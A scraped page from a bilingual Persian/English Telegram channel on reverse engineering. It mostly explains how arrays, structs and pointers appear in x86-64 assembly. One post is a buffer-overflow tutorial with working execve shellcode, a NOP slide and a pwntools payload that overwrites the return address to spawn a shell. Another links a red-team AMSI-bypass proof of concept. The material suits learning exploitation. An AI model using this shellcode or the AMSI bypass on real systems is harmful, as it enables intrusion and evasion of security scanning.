ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
VMProtect 2 - Detailed Analysis of the Virtual Machine Architecture

https://back.engineering/17/05/2021/

@reverseengine
5
Pointer Arithmetic & Array Access

دسترسی به آرایه تک‌ بعدی

دستور کلی:

arr[i] = *(arr + i)


در اسمبلی:

mov eax, DWORD PTR [rdi + rsi*4]


این خط یعنی:

rdi آدرس base آرایه

rsi مقدار i

*4 چون int = 4 bytes


نکته مهم برای ریورس:
هر وقت ضربدر 1/2/4/8 دیدی نوع داده مشخص میشه

ضربدر نوع داده

*1 char
*2 short
*4 int/float
*8 long/double/pointer





Pointer Arithmetic & Array Access

Accessing a one-dimensional array

General instruction:

arr[i] = *(arr + i)


In assembly:

mov eax, DWORD PTR [rdi + rsi*4]


This line means:

rdi base address of the array

rsi value of i

*4 because int = 4 bytes


Important note for reverse:

Whenever you see multiplication by 1/2/4/8, the data type is specified

Multiplication by data type

*1 char
*2 short
*4 int/float
*8 long/double/pointer


@reverseengine
2
آرایه دو‌بعدی در حافظه Row-Major Layout

C
همه رو به صورت پشت‌ سر هم ذخیره میکنه

arr[i][j] = *(base + (i * ncols + j))


در اسمبلی:

mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]


اگر 8 = ncols * 4 پس:

i * ncols * sizeof(int)


چیزی که باید بلد باشید: به عدد ضربی در index نگاه کنید تعداد ستون‌ها را میفهمی



2D Array in Memory Row-Major Layout

C Stores everything in a row

arr[i][j] = *(base + (i * ncols + j))


In assembly:

mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]


If 8 = ncols * 4 then:

i * ncols * sizeof(int)


Something you should know: Look at the multiplier in the index to get the number of columns

@reverseengine
2
دسترسی به struct

struct X {
int a; // offset 0
int b; // offset 4
double c; // offset 8
};


در اسمبلی:

mov eax, DWORD PTR [rdi] ; a
mov eax, DWORD PTR [rdi + 4] ; b
movsd xmm0, [rdi + 8] ; c


نکته:
double
همیشه با XMM رجیستر لود میشه




Accessing struct

struct X {
int a; // offset 0
int b; // offset 4
double c; // offset 8
};



In assembly:

mov eax, DWORD PTR [rdi] ; a
mov eax, DWORD PTR [rdi + 4] ; b
movsd xmm0, [rdi + 8] ; c


Note: double is always loaded with XMM register

@reverseengine
2
Pointer Arithmetic

اگر دیدید:

lea rax, [rdi + rsi*8]


یعنی:

pointer جا به جا میشه

هیچ read/write انجام نشده

فقط آدرس محاسبه شده


در C:

ptr = arr + i;



الگوی Flattened Arrays

کد اسمبلی:

int arr[3][4];
return arr[i][j];



اسمبلی الگوی دائمیش:

i * 4*size_row + j * 4


یعنی:

rdi + rsi*16 + rdx*4


حتی اگر بدون معنی باشه همیشه تابع همین الگو رو میسازه




Pointer Arithmetic

If you see:

lea rax, [rdi + rsi*8]


That means:

Pointer is moved

No read/write is done

Only address is calculated

In C:

ptr = arr + i;




Flattened Arrays Pattern

Assembly code:

int arr[3][4];

return arr[i][j];


Assembly its constant pattern:

i * 4*size_row + j * 4


That means:

rdi + rsi*16 + rdx*4


Even if it is meaningless, it always creates a function of this pattern

@reverseengine
2
مهم‌ترین چیز این بخش برای ریورس

با دیدن ضرب‌ ها تعداد ستون‌ ها و نوع داده رو تشخیص بدید

مثال:

mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]



چون 20 = 5*4 پس آرایه 2D است با 5 ستون


چطور بفهمیم pointer به عنوان iterator استفاده شده؟

اگر دیدی:

add rdi, 4


یعنی pointer افزایش داده شده

معادل:

ptr++;


اگر:

add rdi, 8

یعنی دابل (++)



The most important thing in this section for reverse

Distinguish the number of columns and data type by looking at the multiplications

Example:

mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]



Since 20 = 5*4, it is a 2D array with 5 columns

How do we know that a pointer is used as an iterator?

If you see:

add rdi, 4


it means the pointer has been incremented

Equivalent to:

ptr++;


If:

add rdi, 8


it means double (++)

@reverseengine
2
بخش دوازدهم بافر اورفلو

پیدا کردن آدرسی که باید بپریم روش اینجا تصمیم می‌گیریم برنامه کجا اجرا بشه


RIP بگیم کجا بره

یعنی می‌خوایم یک آدرس واقعی داخل حافظه پیدا کنیم که برنامه بپره اونجا
معمولا اینجا دو راه داریم

پریدن روی شل‌ کد خودمون


وریدن روی تابعی مثل system ret2libe


پریدن روی شل‌ کد داخل استک


گذاشتن شل‌ کد روی استک

فعلا یه شل‌کد ساده execve("/bin/sh") میذاریم

shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"


نوپ‌اسلاید (\x90) فقط برای اینه که اگه آدرس دقیق نبود هم بیخیال باشه
مثلا اگه وسط نوپ‌ ها بپره هم در نهایت میرسه به شل‌ کد


پیدا کردن آدرس شل‌ کد روی استک

این قسمت همونجاست که Exploit کردن جذاب میشه
ما باید بفهمیم این شل‌ کد دقیقا تو حافظه کجا قرار گرفته

روش ساده در gdb:

(gdb) run < <(python3 exploit.py)


بعد:

(gdb) info proc mappings


یا:

(gdb) x/500x $rsp


اینجا میگردیم دنبال نوپ‌اسلاید چون پیدا کردنش راحت‌ تره
وقتی پیدا کردید مثلا یه چیزی مثل این میبینید:

0x7fffffffe2a0: 90 90 90 90

یعنی آدرس نوپ‌اسلاید 0x7fffffffe2a0

این آدرسیه که میخوایم RIP رو بفرستیم روش

ساختن پیلود نهایی برای پریدن روی شل کد

الان پیلودمون این میشه

[شل‌کد] اول کار

[A تا آفست] پر کردن فاصله

[آدرس شل‌کد] جای RIP


مثال:

from pwn import *

offset = 112
ret = p64(0x7fffffffe2a0)

shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload = shellcode
payload += b"A" * (offset - len(shellcode))
payload += ret

print(payload)



تست نهایی

پیلو رو اجرا میکنیم:

python3 exploit.py | ./vuln


اگر همه چی درست باشه

یه شل دارید
whoami
ls
pwd




Part 12 Buffer Overflow

Finding the address to jump to Here we decide where the program will be executed

Let's say RIP where to go

That is, we want to find a real address in memory that the program will jump to

Usually we have two ways here

Jump to our own shellcode

Jump to a function like system ret2libe

Jump to the shellcode on the stack

Putting the shellcode on the stack

For now we will put a simple shellcode execve("/bin/sh")

shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

The nop slide (\x90) is just there to make sure that the address is not exact
For example, if you jump between nops, you will end up with the shellcode

Finding the shellcode address on the stack

This is where exploiting gets interesting
We need to find out exactly where this shellcode is located in memory

Simple method in gdb:

(gdb) run < <(python3 exploit.py)


Then:

(gdb) info proc mappings


Or:

(gdb) x/500x $rsp


Here we look for the nop slide because it is easier to find
When you find it, for example, something like this You see:

0x7fffffffe2a0: 90 90 90 90

That is the address of the nop slide 0x7fffffffe2a0

This is the address we want to send RIP to

Creating the final payload to jump to the shellcode

Now our payload will be this

[shellcode] First thing

[A to offset] fill the gap

[shellcode address] replace RIP

Example:

from pwn import *

offset = 112
ret = p64(0x7fffffffe2a0)

shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload = shellcode

payload += b"A" * (offset - len(shellcode))

payload += ret

print(payload)


Final test

We run the payload:

python3 exploit.py | ./vuln


If everything is correct

You have a shell

whoami
ls
pwd


@reverseengine
2
1
New blog on using CLR customizations to improve the OPSEC of your .NET execution harness. This includes a novel AMSI bypass that identified by author in 2023. By taking control of CLR assembly loads, we can load assemblies from memory with no AMSI scan.

https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/

Proof-of-concept for the AMSI bypass and an implementation of a CLR memory manager is on GitHub. We can implement custom memory routines and track all allocations made by the CLR.

https://github.com/passthehashbrowns/Being-A-Good-CLR-Host

#redteam #net #clr
2